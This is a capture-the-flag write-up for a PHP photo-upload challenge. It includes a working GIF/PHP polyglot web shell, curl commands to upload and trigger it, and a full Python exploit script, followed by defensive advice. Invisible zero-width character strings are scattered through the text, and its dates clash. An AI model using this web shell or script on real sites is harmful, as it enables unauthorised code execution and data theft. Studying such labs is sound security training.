← Back to Writeups
CUSTOMMediumWeb

Easy Upload

XESXOR9/10/20264 min read
#web#custom#medium#blind-rce-with-file-based-outp#gif-polyglot-creation-(valid-g#lfi-via-php-include()-function#mime-type-bypass-via-content-t

Easy Upload

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: Blind RCE with file-based output exfiltration, GIF polyglot creation (valid GIF header + PHP code), LFI via PHP include() function, MIME type bypass via Content-Type header spoofing

Summary

Walkthrough of the CUSTOM Web Easy Upload. Task: Web "Easy Upload" — simple file upload. Solution: Basic file upload bypass, extension filtering circumvention.

Challenge Description

Недавно наткнулся на странный сервис для хранения фотографий. Вроде бы ничего необычного - можно загружать картинки и менять тему оформления. Но что-то подсказывает, что не всё так просто, как кажется на первый взгляд...

Translation: "Recently stumbled upon a strange photo storage service. Nothing unusual - you can upload images and change the theme. But something tells me it's not as simple as it seems..."

Analysis

Source Code Review

The challenge provided source code. Key vulnerability was in UserProfile.php: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

php
public function loadAvatar() {
    $avatarPath = "uploads/" . $this->avatar;
    
    if (file_exists($avatarPath)) {
        if (preg_match('/^[a-zA-Z0-9_-]+\.(jpg|jpeg|png|gif)$/i', $this->avatar)) {
            ob_start();
            include($avatarPath);  // LFI vulnerability!
            $output = ob_get_clean();
            return null;
        }
    }
}

Critical Issue: The include() function executes PHP code inside uploaded files, even if they have image extensions.

Upload Validation Weakness

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The upload validation in upload.php only checks MIME type from the HTTP header:

php
$allowed_types = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($file['type'], $allowed_types)) {
    die("Invalid file type");
}

Problem: MIME type is client-controlled and easily spoofed. No server-side magic bytes validation.

Blind RCE Challenge

The ob_start() and ob_get_clean() capture all output, making this a blind RCE - we can execute code but can't see the output directly.

Solution

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 1: Register and Login

Get a valid session cookie for authenticated requests.

Step 2: Create GIF Polyglot

Create a file that is both a valid GIF and contains PHP code:

bash
printf 'GIF89a\x01\x00\x01\x00\x00\xff\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x00;<?php file_put_contents("uploads/out.txt",shell_exec($_GET["c"])); ?>' > shell.gif

Breakdown:

  • GIF89a - Valid GIF header (magic bytes)
  • \x01\x00\x01\x00... - Minimal 1x1 pixel GIF structure
  • <?php ... ?> - PHP code appended after GIF data ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 3: Upload the Shell

Upload with correct MIME type to bypass validation:

bash
curl -s http://target/upload.php \
    -b cookies.txt \
    -X POST \
    -F "avatar=@shell.gif;type=image/gif"

Step 4: Trigger RCE

Since output is captured by ob_start(), we write results to a file:

bash
# Execute command and write output to file
curl -s "http://target/index.php?c=cat+/fl4g.txt" -b cookies.txt

# Read the exfiltrated output
curl -s "http://target/uploads/out.txt"

Step 5: Get Flag

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Flag was located in /fl4g.txt:

CODEBY{REDACTED}

Exploit Script

python
#!/usr/bin/env python3
import requests

TARGET = "http://target"
s = requests.Session()

# 1. Register and login
s.post(f"{TARGET}/register.php", data={"username": "test", "password": "test"})
s.post(f"{TARGET}/login.php", data={"username": "test", "password": "test"})

# 2. Create GIF polyglot
gif_header = b'GIF89a\x01\x00\x01\x00\x00\xff\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x00;'
php_code = b'<?php file_put_contents("uploads/out.txt",shell_exec($_GET["c"])); ?>'
polyglot = gif_header + php_code
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# 3. Upload
files = {'avatar': ('shell.gif', polyglot, 'image/gif')}
s.post(f"{TARGET}/upload.php", files=files)

# 4. Trigger RCE
s.get(f"{TARGET}/index.php", params={"c": "cat /fl4g.txt"})

# 5. Read output
flag = s.get(f"{TARGET}/uploads/out.txt").text
print(f"Flag: {flag}")

Key Takeaways

Vulnerability Chain

  1. Weak Upload Validation - MIME type only, no magic bytes check
  2. Dangerous include() - Executes PHP in any included file
  3. Blind RCE - Output buffering requires file-based exfiltration ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Defense Recommendations

  1. Validate magic bytes server-side, not just MIME type
  2. Never use include() on user-uploaded files
  3. Use readfile() or file_get_contents() for serving files
  4. Store uploads outside webroot with randomized names
  5. Disable PHP execution in upload directories via .htaccess

Key Indicators for This Attack

  • include() or require() on uploaded files
  • MIME-only validation without magic bytes check
  • Image upload functionality with PHP backend
  • Output buffering (ob_start()) suggesting blind execution ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

References

Key Takeaways / Lessons

  • Mastering Blind RCE with file-based output exfiltration, GIF polyglot creation (valid GIF header + PHP code), LFI via PHP include() function, MIME type bypass via Content-Type header spoofing was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-01-04 • CUSTOM • Easy Upload • Difficulty: Medium